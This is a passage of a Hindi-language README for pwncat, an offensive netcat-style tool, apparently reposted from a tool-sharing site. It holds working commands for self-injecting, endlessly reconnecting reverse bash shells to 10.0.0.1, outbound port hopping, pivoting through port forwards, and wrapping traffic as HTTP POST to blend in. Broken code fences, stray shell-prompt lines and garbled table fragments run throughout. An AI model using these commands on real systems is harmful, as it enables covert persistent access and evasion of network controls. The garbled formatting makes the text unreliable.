फिर आपको कुछ इस प्रकार दिखाई देगा:``` [PWNCAT CnC] Probing for: /bin/python [PWNCAT CnC] Probing for: /bin/python2 [PWNCAT CnC] Probing for: /bin/python2.7 [PWNCAT CnC] Probing for: /bin/python3 [PWNCAT CnC] Probing for: /bin/python3.5 [PWNCAT CnC] Probing for: /bin/python3.6 [PWNCAT CnC] Probing for: /bin/python3.7 [PWNCAT CnC] Probing for: /bin/python3.8 [PWNCAT CnC] Probing for: /usr/bin/python [PWNCAT CnC] Potential path: /usr/bin/python [PWNCAT CnC] Found valid Python2 version: 2.7.16 [PWNCAT CnC] Creating tmpfile: /tmp/tmp3CJ8Us [PWNCAT CnC] Creating tmpfile: /tmp/tmpgHg7YT [PWNCAT CnC] Uploading: /home/cytopia/tmp/pwncat/bin/pwncat -> /tmp/tmpgHg7YT (3422/3422) [PWNCAT CnC] Decoding: /tmp/tmpgHg7YT -> /tmp/tmp3CJ8Us Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4445 &

root@kitploit:~
और आप तैयार हैं। अब आप `4445` पर एक और लिसनर स्थानीय रूप से शुरू कर सकते हैं (फिर से, यह आपसे अनंत रूप से कनेक्ट होगा, इसलिए पहले लिसनर शुरू करना आवश्यक नहीं है)।```bash
# either netcat
nc -lp 4445
# or ncat
ncat -l 4445
# or pwncat
pwncat -l 4445

असीमित स्व-इंजेक्टिंग रिवर्स शेल्स

सिर्फ एक एकल स्व-इंजेक्टिंग रिवर्स शेल मांगने के बजाय, आप pwncat को निर्देश दे सकते हैं कि वह आपकी इच्छानुसार कई अटूट रिवर्स शेल उत्पन्न करे जो आपसे वापस जुड़ते हैं।

YouTube पर देखें

--self-inject तर्क आपको न केवल एक एकल पोर्ट परिभाषित करने की अनुमति देता है, बल्कि यह भी

  1. पोर्ट की एक अल्पविराम से अलग की गई सूची: 4445,4446,4447,4448
  2. एक रेंज परिभाषा: 4446-4448
  3. एक वृद्धि: 4445+3

4 रिवर्स शेल उत्पन्न करने के लिए, आप अपना लिसनर ठीक उसी प्रकार शुरू करेंगे जैसा ऊपर वर्णित है, लेकिन एक एकल पोर्ट के बजाय, आप कई पोर्ट परिभाषित करते हैं:```bash

Comma separated

pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445,4446,4447,4448

Range

pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445-4448

Increment

pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445+3

root@kitploit:~
उपरोक्त तीनों कमांड एक ही व्यवहार प्राप्त करेंगे: लक्ष्य के अंदर 4 रिवर्स शेल उत्पन्न करना।
एक बार क्लाइंट कनेक्ट हो जाने पर, आउटपुट कुछ इस तरह दिखेगा:```
[PWNCAT CnC] Probing for: /bin/python
[PWNCAT CnC] Probing for: /bin/python2
[PWNCAT CnC] Probing for: /bin/python2.7
[PWNCAT CnC] Probing for: /bin/python3
[PWNCAT CnC] Probing for: /bin/python3.5
[PWNCAT CnC] Probing for: /bin/python3.6
[PWNCAT CnC] Probing for: /bin/python3.7
[PWNCAT CnC] Probing for: /bin/python3.8
[PWNCAT CnC] Probing for: /usr/bin/python
[PWNCAT CnC] Potential path: /usr/bin/python
[PWNCAT CnC] Found valid Python2 version: 2.7.16
[PWNCAT CnC] Creating tmpfile: /tmp/tmp3CJ8Us
[PWNCAT CnC] Creating tmpfile: /tmp/tmpgHg7YT
[PWNCAT CnC] Uploading: /home/cytopia/tmp/pwncat/bin/pwncat -> /tmp/tmpgHg7YT (3422/3422)
[PWNCAT CnC] Decoding: /tmp/tmpgHg7YT -> /tmp/tmp3CJ8Us
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4445 &
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4446 &
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4447 &
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4448 &

लॉगिंग

नोट: सुनिश्चित करें कि आपके पास एक रिवर्स शेल है जो आपके पास वापस आता रहता है। इस तरह आप शेल खोए बिना अपनी लॉगिंग सेटिंग्स को हमेशा बदल सकते हैं।

लॉग स्तर और पुनर्निर्देशन

यदि आप चाहें, तो आप समस्या निवारण के लिए या यह समझने के लिए कि क्या चल रहा है, पूर्ण TRACE लॉगिंग मोड में एक लिसनर शुरू कर सकते हैं। लॉग संदेश उनकी गंभीरता के अनुसार रंगीन होते हैं। यदि stderr pty नहीं है, तो रंग स्वचालित रूप से बंद हो जाते हैं, उदाहरण के लिए: उन्हें किसी फ़ाइल में पाइप करने पर। आप --color स्विच के माध्यम से टर्मिनल आउटपुट के लिए रंगीन लॉगिंग को मैन्युअल रूप से अक्षम भी कर सकते हैं।```bash pwncat -vvvv -l 4444

root@kitploit:~
आप (सभी बकवास के बीच) एक TRACE संदेश देखेंगे:```bash
2020-05-11 08:40:57,927 DEBUG NetcatServer.receive(): 'Client connected: 127.0.0.1:46744'
2020-05-11 08:40:57,927 TRACE [STDIN] 1854:producer(): Command output: b'\x1b[32m[0]\x1b[0m\r\r\n'
2020-05-11 08:40:57,927 TRACE [STDIN] 2047:run_action(): [STDIN] Producer received: '\x1b[32m[0]\x1b[0m\r\r\n'
2020-05-11 08:40:57,927 DEBUG [STDIN] 815:send(): Trying to send 15 bytes to 127.0.0.1:46744
2020-05-11 08:40:57,927 TRACE [STDIN] 817:send(): Trying to send: b'\x1b[32m[0]\x1b[0m\r\r\n'
2020-05-11 08:40:57,927 DEBUG [STDIN] 834:send(): Sent 15 bytes to 127.0.0.1:46744 (0 bytes remaining)
2020-05-11 08:40:57,928 TRACE [STDIN] 1852:producer(): Reading command output

जैसे ही आपने इसे लिसनर पर देखा, आप क्लाइंट को कमांड जारी कर सकते हैं। सभी डीबग संदेश भी आवश्यक नहीं हैं, इसलिए आप सुरक्षित रूप से Ctrl+kbd>c के साथ अपने सर्वर को समाप्त कर सकते हैं और इसे साइलेंट मोड में फिर से शुरू कर सकते हैं:```bash pwncat -l 4444

root@kitploit:~
अब अधिकतम कुछ सेकंड प्रतीक्षा करें, यह इस बात पर निर्भर करता है कि क्लाइंट आपके पास किस अंतराल पर वापस आता है, और देखिए, अब आपका सत्र फिर से बिना लॉग के है।

बिल्कुल भी कोई सूचना संदेश न होना, कभी-कभी वांछनीय भी नहीं होता। आप जानना चाह सकते हैं कि पर्दे के पीछे क्या चल रहा है या नहीं? सुरक्षित रूप से <kbd>Ctrl</kbd>+<kbd>c</kbd> दबाकर अपने सर्वर को समाप्त करें और सूचनाओं को एक लॉग फ़ाइल में पुनर्निर्देशित करें:```bash
pwncat -l -vvv 4444 2> comm.txt

अब आप अपने टर्मिनल सत्र में केवल वास्तविक कमांड इनपुट और आउटपुट देखेंगे। यदि आप देखना चाहते हैं कि पर्दे के पीछे क्या चल रहा है, तो दूसरा टर्मिनल विंडो खोलें और comm.txt फ़ाइल को tail करें:```bash

View communication info

tail -fn50 comm.txt

2020-05-11 08:40:57,927 DEBUG NetcatServer.receive(): 'Client connected: 127.0.0.1:46744' 2020-05-11 08:40:57,927 TRACE [STDIN] 1854:producer(): Command output: b'\x1b[32m[0]\x1b[0m\r\r\n' 2020-05-11 08:40:57,927 TRACE [STDIN] 2047:run_action(): [STDIN] Producer received: '\x1b[32m[0]\x1b[0m\r\r\n' 2020-05-11 08:40:57,927 DEBUG [STDIN] 815:send(): Trying to send 15 bytes to 127.0.0.1:46744 2020-05-11 08:40:57,927 TRACE [STDIN] 817:send(): Trying to send: b'\x1b[32m[0]\x1b[0m\r\r\n' 2020-05-11 08:40:57,927 DEBUG [STDIN] 834:send(): Sent 15 bytes to 127.0.0.1:46744 (0 bytes remaining) 2020-05-11 08:40:57,928 TRACE [STDIN] 1852:producer(): Reading command output

root@kitploit:~
#### सॉकेट जानकारी

एक और उपयोगी सुविधा वर्तमान में कॉन्फ़िगर किए गए सॉकेट और नेटवर्क सेटिंग्स प्रदर्शित करना है।
सभी उपलब्ध सेटिंग्स प्रदर्शित करने के लिए `--info` स्विच का उपयोग करें `socket`, `ipv4`, `ipv6`, `tcp` या `all` के साथ।

**नोट:** इन सेटिंग्स को देखने के लिए, आपको कम से कम `INFO` लॉग स्तर (`-vv`) पर होना चाहिए।

बिना किसी कस्टम सेटिंग्स के IPv4/TCP मोड में एक उदाहरण आउटपुट नीचे दिखाया गया है:```
INFO: [bind-sock] Sock: SO_DEBUG: 0
INFO: [bind-sock] Sock: SO_ACCEPTCONN: 1
INFO: [bind-sock] Sock: SO_REUSEADDR: 1
INFO: [bind-sock] Sock: SO_KEEPALIVE: 0
INFO: [bind-sock] Sock: SO_DONTROUTE: 0
INFO: [bind-sock] Sock: SO_BROADCAST: 0
INFO: [bind-sock] Sock: SO_LINGER: 0
INFO: [bind-sock] Sock: SO_OOBINLINE: 0
INFO: [bind-sock] Sock: SO_REUSEPORT: 0
INFO: [bind-sock] Sock: SO_SNDBUF: 16384
INFO: [bind-sock] Sock: SO_RCVBUF: 131072
INFO: [bind-sock] Sock: SO_SNDLOWAT: 1
INFO: [bind-sock] Sock: SO_RCVLOWAT: 1
INFO: [bind-sock] Sock: SO_SNDTIMEO: 0
INFO: [bind-sock] Sock: SO_RCVTIMEO: 0
INFO: [bind-sock] Sock: SO_ERROR: 0
INFO: [bind-sock] Sock: SO_TYPE: 1
INFO: [bind-sock] Sock: SO_PASSCRED: 0
INFO: [bind-sock] Sock: SO_PEERCRED: 0
INFO: [bind-sock] Sock: SO_BINDTODEVICE: 0
INFO: [bind-sock] Sock: SO_PRIORITY: 0
INFO: [bind-sock] Sock: SO_MARK: 0
INFO: [bind-sock] IPv4: IP_OPTIONS: 0
INFO: [bind-sock] IPv4: IP_HDRINCL: 0
INFO: [bind-sock] IPv4: IP_TOS: 0
INFO: [bind-sock] IPv4: IP_TTL: 64
INFO: [bind-sock] IPv4: IP_RECVOPTS: 0
INFO: [bind-sock] IPv4: IP_RECVRETOPTS: 0
INFO: [bind-sock] IPv4: IP_RETOPTS: 0
INFO: [bind-sock] IPv4: IP_MULTICAST_IF: 0
INFO: [bind-sock] IPv4: IP_MULTICAST_TTL: 1
INFO: [bind-sock] IPv4: IP_MULTICAST_LOOP: 1
INFO: [bind-sock] IPv4: IP_DEFAULT_MULTICAST_TTL: 0
INFO: [bind-sock] IPv4: IP_DEFAULT_MULTICAST_LOOP: 0
INFO: [bind-sock] IPv4: IP_MAX_MEMBERSHIPS: 0
INFO: [bind-sock] IPv4: IP_TRANSPARENT: 0
INFO: [bind-sock] TCP: TCP_NODELAY: 0
INFO: [bind-sock] TCP: TCP_MAXSEG: 536
INFO: [bind-sock] TCP: TCP_CORK: 0
INFO: [bind-sock] TCP: TCP_KEEPIDLE: 7200
INFO: [bind-sock] TCP: TCP_KEEPINTVL: 75
INFO: [bind-sock] TCP: TCP_KEEPCNT: 9
INFO: [bind-sock] TCP: TCP_SYNCNT: 6
INFO: [bind-sock] TCP: TCP_LINGER2: 60
INFO: [bind-sock] TCP: TCP_DEFER_ACCEPT: 0
INFO: [bind-sock] TCP: TCP_WINDOW_CLAMP: 0
INFO: [bind-sock] TCP: TCP_INFO: 10
INFO: [bind-sock] TCP: TCP_QUICKACK: 1
INFO: [bind-sock] TCP: TCP_FASTOPEN: 0

पोर्ट फ़ॉरवर्डिंग जादू

स्थानीय TCP पोर्ट फ़ॉरवर्डिंग

परिदृश्य

  1. एलिस बाहर से पहुँचा जा सकता है (TCP/UDP)
  2. बॉब केवल एलिस की मशीन से पहुँचा जा सकता है``` | | Outside | DMZ | private subnet | | | | +-----------------+ TCP +-----------------+ TCP +-----------------+ | The cat | -----|----> | Alice | -----|----> | Bob | | | | | pwncat | | | MySQL | | 56.0.0.1 | | | 72.0.0.1:3306 | | | 10.0.0.1:3306 | +-----------------+ | +-----------------+ | +-----------------+ pwncat 72.0.0.1 3306 | pwncat \ | | -L 72.0.0.1:3306 \ | | 10.0.0.1 3306 |
root@kitploit:~
#### स्थानीय UDP पोर्ट अग्रेषण

**परिदृश्य**
1. एलिस बाहर से पहुंचा जा सकता है (लेकिन केवल UDP के माध्यम से)
2. बॉब केवल एलिस की मशीन से पहुंचा जा सकता है```
                              |                               |
        Outside               |           DMZ                 |        private subnet
                              |                               |
                              |                               |
     +-----------------+     UDP     +-----------------+     TCP     +-----------------+
     | The cat         | -----|----> | Alice           | -----|----> | Bob             |
     |                 |      |      | pwncat -L       |      |      | MySQL           |
     | 56.0.0.1        |      |      | 72.0.0.1:3306   |      |      | 10.0.0.1:3306   |
     +-----------------+      |      +-----------------+      |      +-----------------+
     pwncat -u 72.0.0.1 3306  |      pwncat -u \              |
                              |        -L 72.0.0.1:3306 \     |
                              |        10.0.0.1 3306          |

रिमोट TCP पोर्ट फॉरवर्ड

परिदृश्य

  1. एलिस को बाहर से नहीं पहुँचा जा सकता
  2. एलिस को बाहर से कनेक्ट करने की अनुमति है (TCP/UDP)
  3. बॉब केवल एलिस की मशीन से पहुँचा जा सकता है``` | | Outside | DMZ | private subnet | | | | +-----------------+ TCP +-----------------+ TCP +-----------------+ | The cat | <----|----- | Alice | -----|----> | Bob | | | | | pwncat | | | MySQL | | 56.0.0.1 | | | 72.0.0.1:3306 | | | 10.0.0.1:3306 | +-----------------+ | +-----------------+ | +-----------------+ pwncat -l 4444 | pwncat --reconn \ | | -R 56.0.0.1:4444 \ | | 10.0.0.1 3306 |
root@kitploit:~
#### रिमोट UDP पोर्ट फॉरवर्ड

**परिदृश्य**
1. Alice बाहर से पहुंच योग्य नहीं है
2. Alice को बाहर से कनेक्ट करने की अनुमति है (UDP: केवल DNS)
3. Bob केवल Alice की मशीन से पहुंचा जा सकता है```
                              |                               |
        Outside               |           DMZ                 |        private subnet
                              |                               |
                              |                               |
     +-----------------+     UDP     +-----------------+     TCP     +-----------------+
     | The cat         | <----|----- | Alice           | -----|----> | Bob             |
     |                 |      |      | pwncat          |      |      | MySQL           |
     | 56.0.0.1        |      |      | 72.0.0.1:3306   |      |      | 10.0.0.1:3306   |
     +-----------------+      |      +-----------------+      |      +-----------------+
     pwncat -u -l 53          |      pwncat -u --reconn \     |
                              |        -R 56.0.0.1:4444 \     |
                              |        10.0.0.1 3306          |

आउटबाउंड पोर्ट होपिंग

यदि आपको यह नहीं पता कि लक्ष्य मशीन से कौन से आउटबाउंड पोर्ट की अनुमति है, तो आप क्लाइंट (जैसे: रिवर्स शेल के मामले में) को आउटबाउंड पोर्ट्स को अंतहीन रूप से जांचने का निर्देश दे सकते हैं।```bash

Reverse shell on target (the client)

--exec # The command shell the client should provide

--reconn # Instruct it to reconnect endlessly

--reconn-wait # Reconnect every 0.1 seconds

--reconn-robin # Use these ports to probe for outbount connections

pwncat --exec /bin/bash --reconn --reconn-wait 0.1 --reconn-robin 54-1024 10 10.0.0.1 53

root@kitploit:~
एक बार क्लाइंट चालू हो जाए, तो या तो रॉ सॉकेट का उपयोग करके इनबाउंड ट्रैफ़िक की जाँच करें या Wireshark या tcpdump जैसी किसी चीज़ का उपयोग करके पता लगाएं कि क्लाइंट आपसे कहाँ से कनेक्ट हो पा रहा है।

यदि आपको एक या अधिक पोर्ट मिल गए हैं जिनसे क्लाइंट आपसे कनेक्ट हो सकता है, तो बस अपने लिसनर को स्थानीय रूप से शुरू करें और इसके वापस आने की प्रतीक्षा करें।```bash
pwncat -l <ip> <port>

यदि क्लाइंट आपसे कनेक्ट होता है, तो आपके पास एक कार्यशील रिवर्स शेल होगा। यदि आप अपने स्थानीय लिसनिंग सर्वर को गलती से या जानबूझकर रोक देते हैं, तो क्लाइंट तब तक पोर्ट्स को फिर से प्रोब करेगा जब तक वह सफलतापूर्वक कनेक्ट नहीं हो जाता। रिवर्स शेल क्लाइंट को समाप्त करने के लिए, आप --safe-word का उपयोग कर सकते हैं (क्लाइंट शुरू करते समय)।

यदि इनमें से कुछ भी सफल नहीं होता है, तो आप UDP का उपयोग करने या अपने पैकेट्स को उच्च स्तरीय प्रोटोकॉल, जैसे HTTP या अन्य में लपेटने जैसे अन्य उपाय जोड़ सकते हैं। अपने ट्रैफ़िक को रूपांतरित करने के तरीके के लिए PSE या नीचे दिए गए उदाहरण देखें।

Pwncat स्क्रिप्टिंग इंजन (PSE)

pwncat डेटा भेजने से पहले और प्राप्त करने के बाद आपका कस्टम कोड इंजेक्ट करने के लिए पायथन-आधारित स्क्रिप्टिंग इंजन प्रदान करता है।

यह कैसे काम करता है

आपको बस निम्नलिखित एंट्रीपॉइंट फ़ंक्शन के साथ एक पायथन फ़ाइल प्रदान करनी होगी:```python def transform(data, pse): # Example to reverse a string return data[::-1]

root@kitploit:~
Both, the function name must be named `transform` and the parsed arguments must be named `data` and `pse`.
Other than that you can add as much code as you like. Each instance of `pwncat` can take two scripts:

1. `--script-send`: script will be applied before sending
2. `--script-recv`: script will be applied after receiving

See [here](https://github.com/cytopia/pwncat/blob/master/pse) for API and more details


#### Example 1: Self-built asymmetric encryption

> PSE: [asym-enc](https://github.com/cytopia/pwncat/blob/master/pse/asym-enc) source code

This will encrypt your traffic asymmetrically. It is just a very basic [ROT13](https://en.wikipedia.org/wiki/ROT13) implementation with different shift lengths on both sides to *emulate* asymmetry. You could do the same and implement GPG based asymmetric encryption for PSE.```bash
# server
pwncat -vvvv -l localhost 4444 \
  --script-send pse/asym-enc/pse-asym_enc-server_send.py \
  --script-recv pse/asym-enc/pse-asym_enc-server_recv.py
root@kitploit:~
# client
pwncat -vvvv localhost 4444 \
  --script-send pse/asym-enc/pse-asym_enc-client_send.py \
  --script-recv pse/asym-enc/pse-asym_enc-client_recv.py

उदाहरण 2: स्व-निर्मित HTTP POST रैपर

PSE: http-post स्रोत कोड

यह सभी ट्रैफ़िक को एक वैध HTTP POST अनुरोध में लपेटेगा, जिससे यह सामान्य HTTP ट्रैफ़िक जैसा दिखेगा।```bash

server

pwncat -vvvv -l localhost 4444
--script-send pse/http-post/pse-http_post-pack.py
--script-recv pse/http-post/pse-http_post-unpack.py

root@kitploit:~
```bash
# client
pwncat -vvvv localhost 4444 \
  --script-send pse/http-post/pse-http_post-pack.py \
  --script-recv pse/http-post/pse-http_post-unpack.py

पोर्ट स्कैनिंग

TCP```bash

$ sudo netstat -tlpn Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:4444 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:902 0.0.0.0:* LISTEN tcp6 0 0 ::1:631 :::* LISTEN tcp6 0 0 ::1:25 :::* LISTEN tcp6 0 0 ::1:4444 :::* LISTEN tcp6 0 0 :::1053 :::* LISTEN tcp6 0 0 :::902 :::* LISTEN

root@kitploit:~
#### UDP
निम्नलिखित UDP पोर्ट खुले हुए हैं:```bash
$ sudo netstat -ulpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address
udp        0      0 0.0.0.0:631             0.0.0.0:*
udp        0      0 0.0.0.0:5353            0.0.0.0:*
udp        0      0 0.0.0.0:39856           0.0.0.0:*
udp        0      0 0.0.0.0:68              0.0.0.0:*
udp        0      0 0.0.0.0:68              0.0.0.0:*
udp6       0      0 :::1053                 :::*
udp6       0      0 :::5353                 :::*
udp6       0      0 :::57728                :::*
nmap```bash

$ time sudo nmap -T5 localhost --version-intensity 0 -p- -sU Starting Nmap 7.70 ( https://nmap.org ) at 2020-05-24 17:03 CEST Warning: 127.0.0.1 giving up on port because retransmission cap hit (2). Nmap scan report for localhost (127.0.0.1) Host is up (0.000035s latency). Other addresses for localhost (not scanned): ::1 Not shown: 65529 closed ports PORT STATE SERVICE 68/udp open|filtered dhcpc 631/udp open|filtered ipp 1053/udp open|filtered remote-as 5353/udp open|filtered zeroconf 39856/udp open|filtered unknown 40488/udp open|filtered unknown

Nmap done: 1 IP address (1 host up) scanned in 179.15 seconds

real 2m52.446s user 0m0.844s sys 0m2.571s

root@kitploit:~
##### netcat```bash
$ time nc  -z localhost 1-65535  -u -4 -v
Connection to localhost 68 port [udp/bootpc] succeeded!
Connection to localhost 631 port [udp/ipp] succeeded!
Connection to localhost 1053 port [udp/*] succeeded!
Connection to localhost 5353 port [udp/mdns] succeeded!
Connection to localhost 39856 port [udp/*] succeeded!

real    0m18.734s
user    0m1.004s
sys     0m2.634s
pwncat```bash

$ time pwncat -z localhost 1-65535 -u -4 Scanning 65535 ports [+] 68/UDP open (IPv4) [+] 631/UDP open (IPv4) [+] 1053/UDP open (IPv4) [+] 5353/UDP open (IPv4) [+] 39856/UDP open (IPv4)

real 0m7.309s user 0m6.465s sys 0m4.794s

root@kitploit:~
## :information_source: सामान्य प्रश्न

**पूर्ण FAQ यहाँ देखें:** https://docs.pwncat.org/en/latest/faq.html

**प्रश्न**: क्या `pwncat` `netcat` के साथ संगत है?

**उत्तर**: हाँ, यह कनेक्ट, सुनने और शून्य-i/o मोड में व्यवहार करने के तरीके में पूरी तरह से संगत है।
आप `pwncat` को `netcat`, `ncat` या इसी तरह के टूल्स के साथ मिला भी सकते हैं।


**प्रश्न**: क्या यह X पर काम करता है?

**उत्तर**: अपनी वर्तमान स्थिति में यह Python 2, 3, pypy2 और pypy3 के साथ काम करता है और लिनक्स और MacOS पर पूरी तरह से परीक्षण किया गया है। विंडोज समर्थन उपलब्ध है, लेकिन इसे प्रायोगिक माना जाता है (देखें [एकीकरण परीक्षण](https://github.com/cytopia/pwncat/actions)).


**प्रश्न**: मुझे एक बग मिला / मुझे एक नई सुविधा सुझानी है! मैं क्या कर सकता हूँ?

**उत्तर**: बग रिपोर्ट या सुधार के लिए, कृपया [यहाँ](https://github.com/cytopia/pwncat/issues) एक मुद्दा खोलें।


**प्रश्न**: मैं इस परियोजना का समर्थन कैसे कर सकता हूँ?

**उत्तर**: पूछने के लिए धन्यवाद! सबसे पहले, मुझे कुछ प्रतिक्रिया देने के लिए इस परियोजना को स्टार करें और विवरण के लिए [CONTRIBUTING.md](https://github.com/cytopia/pwncat/blob/master/CONTRIBUTING.md) देखें।


## :sunrise: कलाकृति

<table>
 <thead>
  <tr>
   <th>प्रकार</th>
   <th>कलाकार</th>
   <th>छवि</th>
   <th>लाइसेंस</th>
  </tr>
 </thead>
 <tbody>
  <tr>
   <td>लोगो</td>
   <td><a href="https://github.com/maifz">maifz</a></td>
   <td><a href="https://github.com/cytopia/pwncat/blob/master/art/logo.png"><img src="https://assets.kitploit.com/production/public/readmes/5318/a1b54927c2019b933f6e456079c612aff45d525e69c6058199d8fe049916146f.png" style="height:128px;" height="128" alt="pwncat लोगो" title="pwncat लोगो" /></a></td>
   <td><a href="https://creativecommons.org/licenses/by-sa/4.0/"><img src="https://assets.kitploit.com/production/public/readmes/5318/acde67df4b37d9df101d6555c669c258cea69750bc84ae2051ebec0970f706c8.png" /></a></td>
  </tr>
  <tr>
   <td>बैनर 1</td>
   <td><a href="https://github.com/maifz">maifz</a></td>
   <td><a href="https://github.com/cytopia/pwncat/blob/master/art/banner-1.png"><img src="https://assets.kitploit.com/production/public/readmes/5318/51461eddf94bb0ed53b8d28478113978cf87ea31e645b2afc8e1783053e8bafc.png" style="height:128px;" height="128" alt="pwncat बैनर" title="pwncat बैनर"  /></a></td>
   <td><a href="https://creativecommons.org/licenses/by-sa/4.0/"><img src="https://assets.kitploit.com/production/public/readmes/5318/acde67df4b37d9df101d6555c669c258cea69750bc84ae2051ebec0970f706c8.png" /></a></td>
  </tr>
  <tr>
   <td>बैनर 2</td>
   <td><a href="https://github.com/maifz">maifz</a></td>
   <td><a href="https://github.com/cytopia/pwncat/blob/master/art/banner-2.png"><img src="https://assets.kitploit.com/production/public/readmes/5318/1deb2e118b970b2b974f682e9ef087bbc5cc9c18674b5d4cbbdf967885d119c9.png" style="height:128px;" height="128" alt="pwncat बैनर" title="pwncat बैनर" /></a></td>
   <td><a href="https://creativecommons.org/licenses/by-sa/4.0/"><img src="https://assets.kitploit.com/production/public/readmes/5318/acde67df4b37d9df101d6555c669c258cea69750bc84ae2051ebec0970f706c8.png" /></a></td>
  </tr>
 </tbody>
</table>


## :lock: [cytopia](https://github.com/cytopia) सुरक्षा उपकरण

नीचे मेरे द्वारा बनाए रखे गए सुरक्षा उपकरणों और दस्तावेजों की एक सूची है।

| नाम                | श्रेणी             | भाषा        | विवरण |
|----------------------|----------------------|------------|-------------|
| **[offsec]**         | दस्तावेज़ीकरण        | Markdown   | ऑफसेक चेकलिस्ट, उपकरण और उदाहरण |
| **[header-fuzz]**    | गणना          | Bash       | HTTP हेडर फ़ज़ करें |
| **[smtp-user-enum]** | गणना          | Python 2+3 | SMTP उपयोगकर्ता गणक |
| **[urlbuster]**      | गणना          | Python 2+3 | परिवर्तनीय वेब निर्देशिका फ़ज़र |
| **[pwncat]**         | पिवोटिंग             | Python 2+3 | क्रॉस-प्लेटफ़ॉर्म नेटकैट स्टेरॉयड पर |
| **[kusanagi]**       | पेलोड जनरेटर    | Python 3   | बाइंड- और रिवर्स शेल पेलोड जनरेटर |
| **[badchars]**       | रिवर्स इंजीनियरिंग  | Python 2+3 | बैडचार जनरेटर |
| **[fuzza]**          | रिवर्स इंजीनियरिंग  | Python 2+3 | TCP फ़ज़िंग उपकरण |
| **[docker-dvwa]**    | प्लेग्राउंड           | PHP        | स्थानीय विशेषाधिकार एस्केलेशन चुनौतियों के साथ DVWA |

[offsec]: https://github.com/cytopia/offsec
[header-fuzz]: https://github.com/cytopia/header-fuzz
[smtp-user-enum]: https://github.com/cytopia/smtp-user-enum
[urlbuster]: https://github.com/cytopia/urlbuster
[pwncat]: https://github.com/cytopia/pwncat
[kusanagi]: https://github.com/cytopia/kusanagi
[badchars]: https://github.com/cytopia/badchars
[fuzza]: https://github.com/cytopia/fuzza
[docker-dvwa]: https://github.com/cytopia/docker-dvwa


## :octocat: योगदान

इस परियोजना को बेहतर बनाने में मदद करने के लिए **[योगदान दिशानिर्देश](https://github.com/cytopia/pwncat/blob/master/CONTRIBUTING.md)** देखें।


## :exclamation: अस्वीकरण

यह उपकरण केवल कानूनी उद्देश्यों के लिए उपयोग किया जा सकता है। इस उपकरण का उपयोग करके किए गए किसी भी कार्य के लिए उपयोगकर्ता पूरी जिम्मेदारी लेते हैं। लेखक इस उपकरण के कारण हुई क्षति के लिए कोई दायित्व स्वीकार नहीं करता है। यदि ये शर्तें आपको स्वीकार्य नहीं हैं, तो इस उपकरण का उपयोग न करें।


## :page_facing_up: लाइसेंस

**[MIT लाइसेंस](https://github.com/cytopia/pwncat/blob/master/LICENSE.txt)**

कॉपीराइट (c) 2020 **[cytopia](https://github.com/cytopia)**
टूल डाउनलोड करें
3.5
3.6
3.7
3.8
pypy2
pypy3
nix_img
oracle_img
dnf install pwncatapt install pwncatnixos.pwncatyum install pwncat
PentooParrot OS
pentoo_imgparrot_img
net-analyzer/pwncatapt install pwncat
✔
✔
✔
हेक्स डंप*✔✔✔
ब्रोकर❌❌✔❌
एक साथ कनेक्शन❌❌✔✔
अनुमति/अस्वीकार❌❌✔✔
पुनः स्वीकार✔✔✔✔
स्व-इंजेक्टिंग✔❌❌❌
UDP रिवर्स शेल✔❌❌❌
पुनर्जीवित क्लाइंट✔❌❌❌
पोर्ट हॉपिंग✔❌❌❌
आपातकालीन शटडाउन✔❌❌❌